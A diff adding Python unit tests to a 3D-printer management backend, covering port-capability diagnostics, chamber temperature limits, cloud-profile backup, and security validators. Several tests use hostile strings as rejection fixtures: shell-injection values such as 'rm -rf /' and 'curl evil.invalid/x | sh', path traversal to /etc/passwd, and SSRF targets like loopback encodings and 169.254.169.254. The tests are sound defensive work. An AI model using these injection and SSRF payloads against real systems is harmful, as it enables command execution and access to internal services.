 from backend.app.services.virtual_printer.certificate import CertificateService
 from backend.app.services.virtual_printer.certificate import CertificateService
-from backend.app.services.virtual_printer.diagnostic import run_vp_diagnostic
+from backend.app.services.virtual_printer.diagnostic import (
+    can_bind_privileged_ports,
+    run_vp_diagnostic,
+)
 
 
 _DIAG = "backend.app.services.virtual_printer.diagnostic._check_port"
 _DIAG = "backend.app.services.virtual_printer.diagnostic._check_port"
 _FIND_IFACE = "backend.app.services.network_utils.find_interface_for_ip"
 _FIND_IFACE = "backend.app.services.network_utils.find_interface_for_ip"
@@ -165,3 +168,110 @@ class TestCaCertificateInfo:
             second = service.get_ca_certificate_info()
             second = service.get_ca_certificate_info()
         assert first["fingerprint_sha256"] == second["fingerprint_sha256"]
         assert first["fingerprint_sha256"] == second["fingerprint_sha256"]
         assert "PRIVATE KEY" not in first["pem"]
         assert "PRIVATE KEY" not in first["pem"]
+
+
+class TestPrivilegedPortsCheck:
+    """#2549: the VP binds 990 (FTPS) and 322 (RTSP), both below 1024.
+
+    Without CAP_NET_BIND_SERVICE those sockets never open and the slicer never
+    sees the printer. The port probes alone report the same "nothing is
+    listening" as an ordinary port conflict, which is what sent the reporter to
+    Discord for days over one missing line in a systemd unit. This check names
+    the cause — but only when a port actually failed, since the capability can
+    legitimately be absent on a host that fronts 990 some other way.
+    """
+
+    _CAP = "backend.app.services.virtual_printer.diagnostic.can_bind_privileged_ports"
+
+    @pytest.mark.asyncio
+    async def test_missing_capability_explains_a_dead_port(self):
+        with (
+            patch(_DIAG, AsyncMock(return_value=False)),
+            patch(_FIND_IFACE, return_value={"name": "eth0", "ip": "192.168.1.50"}),
+            patch(self._CAP, return_value=False),
+        ):
+            result = await run_vp_diagnostic(_vp(), _FakeInstance())
+        assert _checks(result)["privileged_ports"] == "fail"
+
+    @pytest.mark.asyncio
+    async def test_missing_capability_is_not_flagged_when_the_port_answers(self):
+        """An iptables REDIRECT is a documented alternative to the capability.
+        Flagging a setup that demonstrably works would be noise."""
+        with (
+            patch(_DIAG, AsyncMock(return_value=True)),
+            patch(_FIND_IFACE, return_value={"name": "eth0", "ip": "192.168.1.50"}),
+            patch(self._CAP, return_value=False),
+        ):
+            result = await run_vp_diagnostic(_vp(), _FakeInstance())
+        assert _checks(result)["privileged_ports"] == "pass"
+        assert result.overall == "ok"
+
+    @pytest.mark.asyncio
+    async def test_dead_port_with_the_capability_held_is_not_blamed_on_it(self):
+        """The port is down for some other reason — a conflict, a crashed
+        service. Saying "missing capability" here would misdirect the user."""
+        with (
+            patch(_DIAG, AsyncMock(return_value=False)),
+            patch(_FIND_IFACE, return_value={"name": "eth0", "ip": "192.168.1.50"}),
+            patch(self._CAP, return_value=True),
+        ):
+            result = await run_vp_diagnostic(_vp(), _FakeInstance())
+        c = _checks(result)
+        assert c["privileged_ports"] == "pass"
+        assert c["port_ftps"] == "fail"
+
+    @pytest.mark.asyncio
+    async def test_undeterminable_capability_skips(self):
+        """macOS / Windows have no procfs and no such capability model."""
+        with (
+            patch(_DIAG, AsyncMock(return_value=False)),
+            patch(_FIND_IFACE, return_value={"name": "eth0", "ip": "192.168.1.50"}),
+            patch(self._CAP, return_value=None),
+        ):
+            result = await run_vp_diagnostic(_vp(), _FakeInstance())
+        assert _checks(result)["privileged_ports"] == "skip"
+
+    @pytest.mark.asyncio
+    async def test_not_running_skips(self):
+        """Nothing was probed, so there is no failure to explain."""
+        result = await run_vp_diagnostic(_vp(), _FakeInstance(running=False))
+        assert _checks(result)["privileged_ports"] == "skip"
+
+
+class TestCanBindPrivilegedPorts:
+    def test_root_can(self):
+        with patch("os.geteuid", return_value=0):
+            assert can_bind_privileged_ports() is True
+
+    def test_effective_set_with_the_bit_set(self):
+        # CAP_NET_BIND_SERVICE is capability 10, so bit 10 => 0x400.
+        with (
+            patch("os.geteuid", return_value=1000),
+            patch("builtins.open", mock_open(read_data="Name:\tpython3\nCapEff:\t0000000000000400\n")),
+        ):
+            assert can_bind_privileged_ports() is True
+
+    def test_effective_set_without_the_bit_set(self):
+        with (
+            patch("os.geteuid", return_value=1000),
+            patch("builtins.open", mock_open(read_data="Name:\tpython3\nCapEff:\t0000000000000000\n")),
+        ):
+            assert can_bind_privileged_ports() is False
+
+    def test_neighbouring_bits_do_not_count(self):
+        """0x200 is capability 9 (CAP_NET_BROADCAST) and 0x800 is 11
+        (CAP_NET_ADMIN) — neither grants a privileged bind."""
+        with (
+            patch("os.geteuid", return_value=1000),
+            patch("builtins.open", mock_open(read_data="CapEff:\t0000000000000a00\n")),
+        ):
+            assert can_bind_privileged_ports() is False
+
+    def test_no_procfs_is_undeterminable_not_false(self):
+        """Returning False here would put a Linux-only fix instruction in front
+        of a macOS user whose port failed for an unrelated reason."""
+        with (
+            patch("os.geteuid", return_value=1000),
+            patch("builtins.open", side_effect=FileNotFoundError),
+        ):
+            assert can_bind_privileged_ports() is None

+ 66 - 0
backend/tests/unit/test_chamber_temp_ceiling.py

@@ -0,0 +1,66 @@
+"""The chamber-temperature ceiling is shared by every surface that accepts one.
+
+Reported on Discord: the preheat & heat-soak inputs capped at 60 °C, which put
+the top of the H2 series' range (65 °C) out of reach. The ceiling now lives in
+one place — ``MAX_CHAMBER_TEMP_C`` — and these tests pin both its value and the
+fact that each schema actually derives its bound from it rather than carrying a
+private literal that could drift back to 60.
+"""
+
+import pytest
+from pydantic import ValidationError
+
+from backend.app.schemas.print_queue import (
+    PrintQueueBulkUpdate,
+    PrintQueueItemCreate,
+    PrintQueueItemUpdate,
+)
+from backend.app.schemas.settings import AppSettingsUpdate
+from backend.app.utils.printer_models import MAX_CHAMBER_TEMP_C
+
+# The H2 series (H2C / H2D / H2D Pro / H2S) and X2D heat the chamber to 65 °C.
+# X1E stops at 60 and clamps in firmware. Hard-coded here on purpose: if the
+# constant moves, that should be a deliberate edit, not a silent one.
+EXPECTED_CEILING = 65
+
+# (schema, kwargs the schema requires beyond the field under test)
+OVERRIDE_SCHEMAS = [
+    (PrintQueueItemCreate, {}),
+    (PrintQueueItemUpdate, {}),
+    (PrintQueueBulkUpdate, {"item_ids": [1]}),
+]
+
+
+def test_ceiling_is_65():
+    assert MAX_CHAMBER_TEMP_C == EXPECTED_CEILING
+
+
+@pytest.mark.parametrize("schema,required", OVERRIDE_SCHEMAS)
+def test_override_accepts_the_ceiling(schema, required):
+    model = schema(preheat_chamber_target_override=MAX_CHAMBER_TEMP_C, **required)
+    assert model.preheat_chamber_target_override == MAX_CHAMBER_TEMP_C
+
+
+@pytest.mark.parametrize("schema,required", OVERRIDE_SCHEMAS)
+def test_override_rejects_above_the_ceiling(schema, required):
+    with pytest.raises(ValidationError):
+        schema(preheat_chamber_target_override=MAX_CHAMBER_TEMP_C + 1, **required)
+
+
+@pytest.mark.parametrize("schema,required", OVERRIDE_SCHEMAS)
+def test_override_still_accepts_zero(schema, required):
+    """0 is "no chamber phase, even if the filament map wants one" — raising
+    the ceiling must not disturb the low end."""
+    model = schema(preheat_chamber_target_override=0, **required)
+    assert model.preheat_chamber_target_override == 0
+
+
+def test_chamber_presets_accept_the_ceiling():
+    payload = f"[35, 45, {MAX_CHAMBER_TEMP_C}]"
+    assert AppSettingsUpdate(chamber_temp_presets=payload).chamber_temp_presets == payload
+
+
+def test_chamber_presets_reject_above_the_ceiling():
+    with pytest.raises(ValidationError) as exc:
+        AppSettingsUpdate(chamber_temp_presets=f"[35, 45, {MAX_CHAMBER_TEMP_C + 1}]")
+    assert f"[0, {MAX_CHAMBER_TEMP_C}]" in str(exc.value)

+ 77 - 0
backend/tests/unit/test_compose_dir_setting.py

@@ -0,0 +1,77 @@
+"""``docker_compose_dir`` validation (#2664, reporter pchulpjoost).
+
+This setting is not consumed by Bambuddy at all — it is interpolated into a
+shell command that the Settings page invites the user to copy and paste into a
+root-capable terminal. That inverts the usual threat model for a string
+setting: the danger is not what the server does with the value, it is what the
+*admin* does with it after the copy button hands it over. Anyone holding
+settings:update could otherwise plant a destructive one-liner behind a control
+whose whole purpose is "paste this into your shell".
+"""
+
+import pytest
+from pydantic import ValidationError
+
+from backend.app.schemas.settings import AppSettingsUpdate
+
+
+class TestComposeDirValidation:
+    @pytest.mark.parametrize(
+        "value",
+        [
+            "/opt/bambuddy",
+            "/srv/stacks/bambu buddy",  # spaces are legal; the frontend quotes them
+            "C:\\Users\\martin\\bambuddy",
+            "~/bambuddy",
+            "/home/martin/3D-Druck/bambuddy",  # non-ASCII path components
+            "",
+        ],
+    )
+    def test_accepts_real_paths(self, value: str):
+        assert AppSettingsUpdate(docker_compose_dir=value).docker_compose_dir == value.strip()
+
+    @pytest.mark.parametrize(
+        "value",
+        [
+            "/opt/bambuddy; rm -rf /",
+            "/opt/bambuddy && curl evil.invalid/x | sh",
+            "/opt/bambuddy`id`",
+            "/opt/bambuddy$(id)",
+            "/opt/bambuddy | tee /etc/passwd",
+            '/opt/bambuddy" && echo pwned && echo "',
+            "/opt/bambuddy\nrm -rf /",
+        ],
+    )
+    def test_rejects_shell_metacharacters(self, value: str):
+        """Every one of these renders as a plausible-looking update command
+        that does something else entirely when pasted."""
+        with pytest.raises(ValidationError):
+            AppSettingsUpdate(docker_compose_dir=value)
+
+    def test_rejects_absurd_length(self):
+        with pytest.raises(ValidationError):
+            AppSettingsUpdate(docker_compose_dir="/opt/" + "a" * 600)
+
+    def test_none_is_untouched(self):
+        """None means "not part of this PATCH" — distinct from "" ("clear it")."""
+        assert AppSettingsUpdate().docker_compose_dir is None
+
+    @pytest.mark.parametrize("char", ['"', "$", "`"])
+    def test_characters_that_would_escape_the_frontend_quoting_are_rejected(self, char: str):
+        """The frontend wraps a value containing a space in double quotes, which
+        is safe only because nothing that is special inside double quotes can
+        survive this validator. Pinned here so loosening the pattern without
+        revisiting the quoting fails loudly."""
+        with pytest.raises(ValidationError):
+            AppSettingsUpdate(docker_compose_dir=f"/opt/bam {char} buddy")
+
+    def test_trailing_backslash_rejected(self):
+        """The last character that would still escape the closing quote:
+        `cd "/opt/bam buddy\\"` swallows the rest of the command."""
+        with pytest.raises(ValidationError):
+            AppSettingsUpdate(docker_compose_dir="C:\\bam buddy\\")
+
+    def test_windows_path_without_trailing_separator_survives(self):
+        assert AppSettingsUpdate(docker_compose_dir="C:\\Users\\martin\\bambuddy").docker_compose_dir == (
+            "C:\\Users\\martin\\bambuddy"
+        )

+ 290 - 0
backend/tests/unit/test_external_camera_ssrf.py

@@ -0,0 +1,290 @@
+"""The RTSP camera paths must not become a request generator for arbitrary hosts.
+
+`_sanitize_camera_url` is the SSRF boundary for user-configured camera URLs. It
+was applied to the MJPEG and snapshot paths but not to the two RTSP ones, which
+handed the URL to `ffmpeg -i` unchecked — and ffmpeg's `-i` speaks http, tcp,
+file and everything else it was built with, so `camera_type=rtsp` was a way to
+name any destination and any protocol.
+
+Wiring the guard in is only half of it. The guard rebuilt URLs from
+`parsed.hostname`, which drops credentials and unbrackets IPv6 literals, and it
+recognised loopback by comparing against four spellings of it. So these tests
+pin three things at once: the RTSP paths refuse what they should, the guard
+recognises a destination however it is written, and a real camera — which
+usually means an authenticated one — still works.
+"""
+
+from unittest.mock import AsyncMock, MagicMock, patch
+
+import pytest
+
+from backend.app.services.external_camera import (
+    _blocked_host_reason,
+    _capture_rtsp_frame,
+    _safe_usb_device_path,
+    _sanitize_camera_url,
+    _stream_rtsp,
+)
+
+RTSP_SCHEMES = ("rtsp", "rtsps")
+HTTP_SCHEMES = ("http", "https")
+
+
+class TestTheHostsWeRefuse:
+    """Loopback, the unspecified address and link-local, however they are spelled."""
+
+    @pytest.mark.parametrize(
+        "host",
+        [
+            "127.0.0.1",
+            "127.0.0.2",  # the whole 127/8 range, not just .1
+            "127.1",  # short form
+            "2130706433",  # decimal
+            "0177.0.0.1",  # octal
+            "0x7f.0.0.1",  # hex
+            "[::1]",
+            "[::ffff:127.0.0.1]",  # loopback wearing an IPv6 spelling
+            "localhost",
+            "sub.localhost",
+        ],
+    )
+    def test_loopback_is_refused(self, host):
+        assert _sanitize_camera_url(f"rtsp://{host}:554/live", RTSP_SCHEMES) is None
+
+    @pytest.mark.parametrize("host", ["0.0.0.0", "[::]"])  # nosec B104
+    def test_the_unspecified_address_is_refused(self, host):
+        assert _sanitize_camera_url(f"rtsp://{host}:554/live", RTSP_SCHEMES) is None
+
+    @pytest.mark.parametrize(
+        "host",
+        [
+            "169.254.169.254",  # AWS/GCP/Azure metadata
+            "169.254.1.1",  # the rest of the range, not just the metadata IP
+            "[fe80::1]",
+            "metadata.google.internal",
+            "metadata.google",
+        ],
+    )
+    def test_link_local_and_metadata_are_refused(self, host):
+        assert _sanitize_camera_url(f"rtsp://{host}/live", RTSP_SCHEMES) is None
+
+    def test_the_reason_is_reported_for_logging(self):
+        assert _blocked_host_reason("2130706433") == "loopback"
+        assert _blocked_host_reason("169.254.169.254") is not None
+        assert _blocked_host_reason("192.168.1.50") is None
+
+
+class TestTheCamerasWeAllow:
+    """LAN is allowed on purpose — that is where cameras are."""
+
+    @pytest.mark.parametrize(
+        "url",
+        [
+            "rtsp://192.168.1.50:554/live",
+            "rtsp://10.0.0.5/stream1",
+            "rtsp://172.16.4.9:8554/cam",
+            "rtsp://[fd00::1]:554/live",  # unique-local IPv6
+            "rtsp://cam.lan/live",
+            "rtsps://camera.example.com:322/stream",
+        ],
+    )
+    def test_a_camera_url_survives(self, url):
+        assert _sanitize_camera_url(url, RTSP_SCHEMES) is not None
+
+    def test_a_hostname_is_not_resolved(self):
+        """A name that would resolve to loopback still passes.
+
+        Not an oversight: aiohttp and ffmpeg resolve independently afterwards,
+        so a lookup here decides nothing (DNS rebinding) while costing a DNS
+        round trip on every capture. Pinned so the omission stays deliberate.
+        """
+        assert _sanitize_camera_url("rtsp://localtest.me/live", RTSP_SCHEMES) is not None
+
+
+class TestWhatTheGuardMustNotDestroy:
+    """Most RTSP cameras carry their login in the URL. Stripping it would turn
+    every one of them into an authentication failure — a worse outage than the
+    hole being closed."""
+
+    def test_credentials_survive(self):
+        url = "rtsp://admin:hunter2@192.168.1.50:554/live"
+        assert _sanitize_camera_url(url, RTSP_SCHEMES) == url
+
+    def test_percent_encoded_credentials_survive_byte_for_byte(self):
+        """urlparse's .username/.password are already decoded, so rebuilding
+        from them would corrupt any password containing an @ or a :."""
+        url = "rtsp://ad%40min:p%3Ass%40word@192.168.1.50:554/live"
+        assert _sanitize_camera_url(url, RTSP_SCHEMES) == url
+
+    def test_an_ipv6_literal_keeps_its_brackets(self):
+        """Without them the result is not a URL any client can parse."""
+        assert _sanitize_camera_url("rtsp://[fd00::1]:554/live", RTSP_SCHEMES) == "rtsp://[fd00::1]:554/live"
+
+    def test_http_cameras_keep_their_basic_auth_too(self):
+        url = "http://admin:hunter2@192.168.1.50/stream.mjpg"
+        assert _sanitize_camera_url(url, HTTP_SCHEMES) == url
+
+    def test_port_query_and_fragment_survive(self):
+        url = "rtsp://192.168.1.50:8554/live?channel=2&subtype=1#frag"
+        assert _sanitize_camera_url(url, RTSP_SCHEMES) == url
+
+
+class TestSchemeAllowlist:
+    """What keeps an ffmpeg input a camera fetch rather than a fetch."""
+
+    @pytest.mark.parametrize(
+        "url",
+        [
+            "http://192.168.1.50:8080/internal",
+            "https://192.168.1.50/internal",
+            "tcp://192.168.1.50:22",
+            "file:///etc/passwd",
+            "concat:/etc/passwd",
+            "udp://192.168.1.50:1234",
+            "ftp://192.168.1.50/x",
+        ],
+    )
+    def test_only_rtsp_reaches_the_rtsp_paths(self, url):
+        assert _sanitize_camera_url(url, RTSP_SCHEMES) is None
+
+    def test_rtsp_does_not_reach_the_http_paths(self):
+        assert _sanitize_camera_url("rtsp://192.168.1.50/live", HTTP_SCHEMES) is None
+
+    @pytest.mark.parametrize("url", ["", "not a url", "rtsp://", "://192.168.1.50/x"])
+    def test_malformed_input_is_refused(self, url):
+        assert _sanitize_camera_url(url, RTSP_SCHEMES) is None
+
+
+def _fake_ffmpeg():
+    return patch("backend.app.services.external_camera.get_ffmpeg_path", return_value="/usr/bin/ffmpeg")
+
+
+def _spawn_spy(returncode: int | None = 0, stdout: bytes = b"\xff\xd8" + b"\x00" * 200):
+    """Stand in for the ffmpeg subprocess, recording the argv it was handed.
+
+    The streaming path reads until EOF, so stdout.read returns b"" and the
+    generator finishes immediately — these tests are about whether ffmpeg was
+    launched and with what, not about frame extraction.
+    """
+    process = MagicMock()
+    process.returncode = returncode
+    process.communicate = AsyncMock(return_value=(stdout, b""))
+    process.stdout.read = AsyncMock(return_value=b"")
+    process.stderr.read = AsyncMock(return_value=b"")
+    process.wait = AsyncMock(return_value=returncode)
+    process.kill = MagicMock()
+    process.terminate = MagicMock()
+    return patch(
+        "backend.app.services.external_camera.asyncio.create_subprocess_exec",
+        new=AsyncMock(return_value=process),
+    )
+
+
+class TestRtspCaptureRefusesUnsafeUrls:
+    """`_capture_rtsp_frame` — the one-shot path behind the test-connection
+    endpoint, which takes url and camera_type straight off the query string."""
+
+    @pytest.mark.asyncio
+    @pytest.mark.parametrize(
+        "url",
+        [
+            "http://127.0.0.1:8080/internal-service",  # the reported PoC
+            "http://192.168.1.100:8080/any-image.jpg",
+            "file:///etc/passwd",
+            "rtsp://127.0.0.1:554/live",
+            "rtsp://2130706433:554/live",
+            "rtsp://169.254.169.254/live",
+        ],
+    )
+    async def test_no_process_is_spawned(self, url):
+        with _fake_ffmpeg(), _spawn_spy() as spawn:
+            assert await _capture_rtsp_frame(url, timeout=5) is None
+        spawn.assert_not_awaited()
+
+    @pytest.mark.asyncio
+    async def test_a_real_camera_still_captures(self):
+        with _fake_ffmpeg(), _spawn_spy() as spawn:
+            frame = await _capture_rtsp_frame("rtsp://admin:hunter2@192.168.1.50:554/live", timeout=5)
+
+        assert frame is not None
+        cmd = spawn.await_args.args
+        assert "rtsp://admin:hunter2@192.168.1.50:554/live" in cmd, (
+            "the camera's credentials must reach ffmpeg or every authenticated camera breaks"
+        )
+
+    @pytest.mark.asyncio
+    async def test_ffmpeg_is_confined_to_rtsp_protocols(self):
+        """Belt and braces behind the scheme check: a stream that references
+        something outside itself must not be able to pull it in."""
+        with _fake_ffmpeg(), _spawn_spy() as spawn:
+            await _capture_rtsp_frame("rtsp://192.168.1.50:554/live", timeout=5)
+
+        cmd = spawn.await_args.args
+        whitelist = cmd[cmd.index("-protocol_whitelist") + 1].split(",")
+        assert "rtsp" in whitelist
+        assert "file" not in whitelist
+        assert "http" not in whitelist
+
+
+class TestRtspStreamRefusesUnsafeUrls:
+    """`_stream_rtsp` — the live-view path, and the one the report missed."""
+
+    @pytest.mark.asyncio
+    @pytest.mark.parametrize(
+        "url",
+        [
+            "http://127.0.0.1:8080/internal-service",
+            "rtsp://127.0.0.1:554/live",
+            "rtsp://[::ffff:127.0.0.1]:554/live",
+            "file:///etc/passwd",
+        ],
+    )
+    async def test_no_process_is_spawned(self, url):
+        with _fake_ffmpeg(), _spawn_spy() as spawn:
+            frames = [frame async for frame in _stream_rtsp(url, fps=5)]
+
+        assert frames == []
+        spawn.assert_not_awaited()
+
+    @pytest.mark.asyncio
+    async def test_a_real_camera_still_reaches_ffmpeg(self):
+        with _fake_ffmpeg(), _spawn_spy(returncode=None) as spawn:
+            [frame async for frame in _stream_rtsp("rtsp://admin:hunter2@192.168.1.50:554/live", fps=5)]
+
+        spawn.assert_awaited_once()
+        cmd = spawn.await_args.args
+        assert "rtsp://admin:hunter2@192.168.1.50:554/live" in cmd
+        assert "-protocol_whitelist" in cmd
+
+
+class TestUsbDevicePaths:
+    """The USB paths take a device path from the same request field, and the
+    streaming one used to check only that it started with /dev/video."""
+
+    @pytest.mark.parametrize(
+        "device",
+        [
+            "/dev/video/../../etc/passwd",
+            "/dev/videos/../../etc/shadow",
+            "/dev/video0; rm -rf /",
+            "/etc/passwd",
+            "/dev/video100",  # three digits is not a device number
+            "",
+        ],
+    )
+    def test_a_path_that_is_not_a_device_node_is_refused(self, device):
+        assert _safe_usb_device_path(device) is None
+
+    def test_a_missing_device_is_refused(self):
+        """Existence is part of the check — ffmpeg must never be pointed at a
+        path just because it is shaped like one."""
+        with patch("backend.app.services.external_camera.Path") as path_cls:
+            path_cls.return_value.exists.return_value = False
+            assert _safe_usb_device_path("/dev/video0") is None
+
+    def test_the_path_is_rebuilt_from_the_device_number(self):
+        with patch("backend.app.services.external_camera.Path") as path_cls:
+            path_cls.return_value.exists.return_value = True
+            path_cls.return_value.__str__.return_value = "/dev/video7"
+            assert _safe_usb_device_path("/dev/video7") == "/dev/video7"
+        path_cls.assert_called_once_with("/dev/video7")

+ 509 - 0
backend/tests/unit/test_github_backup_cloud_profiles.py

@@ -0,0 +1,509 @@
+"""Cloud-profile collection for Git backup (#2717).
+
+The collector used to read a ``setting`` key the Bambu Cloud API never returns,
+so ``cloud_profiles/*`` was never written while ``backup_metadata.json`` claimed
+it was. It also asked for the auth-disabled credential store unconditionally,
+which meant it saw no accounts at all once auth was on. These tests pin the
+response shape it actually has to parse, the account enumeration, and the
+metadata now telling the truth.
+"""
+
+from unittest.mock import AsyncMock, MagicMock, patch
+
+import pytest
+
+from backend.app.models.settings import Settings
+from backend.app.models.user import User
+from backend.app.services.github_backup import GitHubBackupService
+
+# The real listing body: keyed by preset type, each holding private/public
+# lists. There is no top-level "setting" array, and the entries carry no "type"
+# of their own — the type is the outer key, and Bambu calls process "print".
+BAMBU_LISTING = {
+    "filament": {
+        "private": [
+            {"setting_id": "PFUS1", "name": "My PLA", "version": "1.0", "user_id": "u-123"},
+        ],
+        "public": [
+            {"setting_id": "GFSA00", "name": "Bambu PLA Basic", "version": "1.0"},
+        ],
+    },
+    "printer": {
+        "private": [{"setting_id": "PMUS1", "name": "My X1C", "version": "1.0"}],
+        "public": [],
+    },
+    "print": {
+        "private": [{"setting_id": "PSUS1", "name": "My 0.2mm", "version": "1.0"}],
+        "public": [],
+    },
+}
+
+
+def _detail(setting_id: str, name: str, base: str) -> dict:
+    return {
+        "setting_id": setting_id,
+        "name": name,
+        "type": "filament",
+        "version": "1.0",
+        "base_id": base,
+        "filament_id": "P1234",
+        "setting": {"filament_flow_ratio": ["0.98"]},
+    }
+
+
+def _bambu_cloud(listing=None, detail_side_effect=None):
+    cloud = MagicMock()
+    cloud.is_authenticated = True
+    cloud.get_slicer_settings = AsyncMock(return_value=listing if listing is not None else BAMBU_LISTING)
+    cloud.get_setting_detail = AsyncMock(
+        side_effect=detail_side_effect or (lambda sid: _detail(sid, f"detail-{sid}", "GFSA00")),
+    )
+    cloud.close = AsyncMock()
+    return cloud
+
+
+def _orca_service(profiles):
+    svc = MagicMock()
+    svc.list_profiles = AsyncMock(return_value=profiles)
+    svc.close = AsyncMock()
+    return svc
+
+
+@pytest.fixture
+def service():
+    return GitHubBackupService()
+
+
+class TestCloudAccountEnumeration:
+    """Which accounts a backup collects from."""
+
+    @pytest.mark.asyncio
+    async def test_auth_disabled_uses_the_global_store(self, service, db_session):
+        """With auth off there is no User row at all — credentials live in the
+        Settings table and the account is keyed ``global``."""
+        with (
+            patch(
+                "backend.app.api.routes.cloud.get_stored_token",
+                new_callable=AsyncMock,
+                return_value=("bambu-token", "a@b.c", "global"),
+            ),
+            patch(
+                "backend.app.api.routes.orca_cloud._load_credentials",
+                new_callable=AsyncMock,
+                return_value=MagicMock(token=None),
+            ),
+        ):
+            bambu, orca = await service.cloud_accounts(db_session)
+
+        assert bambu == [("global", None)]
+        assert orca == []
+
+    @pytest.mark.asyncio
+    async def test_auth_enabled_finds_every_user_holding_a_token(self, service, db_session):
+        """The bug that made this invisible: with auth on, tokens live on User
+        rows, and the collector only ever looked at the global store. Each cloud
+        is enumerated separately so a user connected to one shows up only there.
+        """
+        both = User(username="both", cloud_token="t1", orca_cloud_token="o1")
+        bambu_only = User(username="bambu-only", cloud_token="t2")
+        orca_only = User(username="orca-only", orca_cloud_token="o2")
+        neither = User(username="neither")
+        db_session.add_all([both, bambu_only, orca_only, neither])
+        await db_session.commit()
+
+        with (
+            patch(
+                "backend.app.api.routes.cloud.get_stored_token",
+                new_callable=AsyncMock,
+                return_value=(None, None, "global"),
+            ),
+            patch(
+                "backend.app.api.routes.orca_cloud._load_credentials",
+                new_callable=AsyncMock,
+                return_value=MagicMock(token=None),
+            ),
+        ):
+            bambu, orca = await service.cloud_accounts(db_session)
+
+        assert sorted(key for key, _ in bambu) == [f"user-{both.id}", f"user-{bambu_only.id}"]
+        assert sorted(key for key, _ in orca) == [f"user-{both.id}", f"user-{orca_only.id}"]
+
+    @pytest.mark.asyncio
+    async def test_global_and_per_user_accounts_coexist(self, service, db_session):
+        """A Settings row survives someone enabling auth later. Dropping it
+        would silently stop backing up that account's presets."""
+        db_session.add(User(username="u", cloud_token="t1"))
+        await db_session.commit()
+
+        with (
+            patch(
+                "backend.app.api.routes.cloud.get_stored_token",
+                new_callable=AsyncMock,
+                return_value=("legacy-global", None, "global"),
+            ),
+            patch(
+                "backend.app.api.routes.orca_cloud._load_credentials",
+                new_callable=AsyncMock,
+                return_value=MagicMock(token=None),
+            ),
+        ):
+            bambu, _orca = await service.cloud_accounts(db_session)
+
+        assert "global" in [key for key, _ in bambu]
+        assert len(bambu) == 2
+
+
+class TestBambuCollection:
+    @pytest.mark.asyncio
+    async def test_reads_the_shape_the_api_actually_returns(self, service, db_session):
+        """The whole bug in one assertion: presets come out of
+        ``data[type]["private"]``, not a flat ``setting`` list, and ``print``
+        maps to ``process``."""
+        files: dict = {}
+        with patch(
+            "backend.app.api.routes.cloud.build_authenticated_cloud",
+            new_callable=AsyncMock,
+            return_value=_bambu_cloud(),
+        ):
+            counts = await service._collect_bambu_profiles(db_session, files, "global", None)
+
+        assert counts == {"filament": 1, "printer": 1, "process": 1}
+        assert set(files) == {
+            "cloud_profiles/bambu/global/filament.json",
+            "cloud_profiles/bambu/global/printer.json",
+            "cloud_profiles/bambu/global/process.json",
+        }
+
+    @pytest.mark.asyncio
+    async def test_public_presets_are_not_backed_up(self, service, db_session):
+        """Bambu's bundled catalogue is identical for everyone, re-downloadable,
+        and not recreatable under your account — backing it up would churn the
+        repository on every run for no recovery value."""
+        files: dict = {}
+        with patch(
+            "backend.app.api.routes.cloud.build_authenticated_cloud",
+            new_callable=AsyncMock,
+            return_value=_bambu_cloud(),
+        ):
+            await service._collect_bambu_profiles(db_session, files, "global", None)
+
+        filament = files["cloud_profiles/bambu/global/filament.json"]["profiles"]
+        assert [p["setting_id"] for p in filament] == ["PFUS1"]
+
+    @pytest.mark.asyncio
+    async def test_stores_the_payload_a_restore_needs(self, service, db_session):
+        """The listing is metadata only. Without ``base_id`` and ``setting``
+        the backup is a list of names — ``create_setting`` cannot rebuild from
+        it."""
+        files: dict = {}
+        with patch(
+            "backend.app.api.routes.cloud.build_authenticated_cloud",
+            new_callable=AsyncMock,
+            return_value=_bambu_cloud(),
+        ):
+            await service._collect_bambu_profiles(db_session, files, "global", None)
+
+        preset = files["cloud_profiles/bambu/global/filament.json"]["profiles"][0]
+        assert preset["base_id"] == "GFSA00"
+        assert preset["setting"] == {"filament_flow_ratio": ["0.98"]}
+        assert preset["type"] == "filament"
+
+    @pytest.mark.asyncio
+    async def test_account_identity_is_not_written_to_the_repo(self, service, db_session):
+        """Backup repositories can be public, and ``user_id`` adds nothing to a
+        rebuild."""
+        files: dict = {}
+        with patch(
+            "backend.app.api.routes.cloud.build_authenticated_cloud",
+            new_callable=AsyncMock,
+            return_value=_bambu_cloud(),
+        ):
+            await service._collect_bambu_profiles(db_session, files, "global", None)
+
+        for payload in files.values():
+            for preset in payload["profiles"]:
+                assert "user_id" not in preset
+
+    @pytest.mark.asyncio
+    async def test_one_unreadable_preset_does_not_lose_the_others(self, service, db_session):
+        """And it is counted, not swallowed — a partial backup that looks
+        complete is how #2717 stayed invisible."""
+
+        def detail(setting_id):
+            if setting_id == "PFUS1":
+                raise RuntimeError("boom")
+            return _detail(setting_id, "ok", "GFSA00")
+
+        files: dict = {}
+        with patch(
+            "backend.app.api.routes.cloud.build_authenticated_cloud",
+            new_callable=AsyncMock,
+            return_value=_bambu_cloud(detail_side_effect=detail),
+        ):
+            counts = await service._collect_bambu_profiles(db_session, files, "global", None)
+
+        assert "cloud_profiles/bambu/global/filament.json" not in files
+        assert counts["printer"] == 1
+        assert counts["process"] == 1
+        assert counts["failed"] == 1
+
+    @pytest.mark.asyncio
+    async def test_unauthenticated_account_writes_nothing(self, service, db_session):
+        files: dict = {}
+        with patch(
+            "backend.app.api.routes.cloud.build_authenticated_cloud",
+            new_callable=AsyncMock,
+            return_value=None,
+        ):
+            counts = await service._collect_bambu_profiles(db_session, files, "user-1", MagicMock())
+
+        assert counts == {}
+        assert files == {}
+
+
+class TestOrcaCollection:
+    @pytest.mark.asyncio
+    async def test_groups_by_content_type_including_aliases(self, service, db_session):
+        """Orca carries the type at ``content.type`` and uses BambuStudio-style
+        aliases — ``machine`` is a printer, ``process`` and ``print`` are both
+        process. Same map the Orca tab groups by."""
+        profiles = [
+            {"id": 1, "name": "f", "content": {"type": "filament"}},
+            {"id": 2, "name": "m", "content": {"type": "machine"}},
+            {"id": 3, "name": "p", "content": {"type": "print"}},
+            {"id": 4, "name": "p2", "content": {"type": "process"}},
+        ]
+        files: dict = {}
+        with patch(
+            "backend.app.api.routes.orca_cloud._build_authenticated_service",
+            new_callable=AsyncMock,
+            return_value=_orca_service(profiles),
+        ):
+            counts = await service._collect_orca_profiles(db_session, files, "user-3", MagicMock())
+
+        assert counts == {"filament": 1, "printer": 1, "process": 2}
+        assert "cloud_profiles/orca/user-3/printer.json" in files
+
+    @pytest.mark.asyncio
+    async def test_content_is_stored_inline_without_a_second_fetch(self, service, db_session):
+        """The sync-pull listing already carries each profile's content, so
+        unlike Bambu there is no per-profile round trip."""
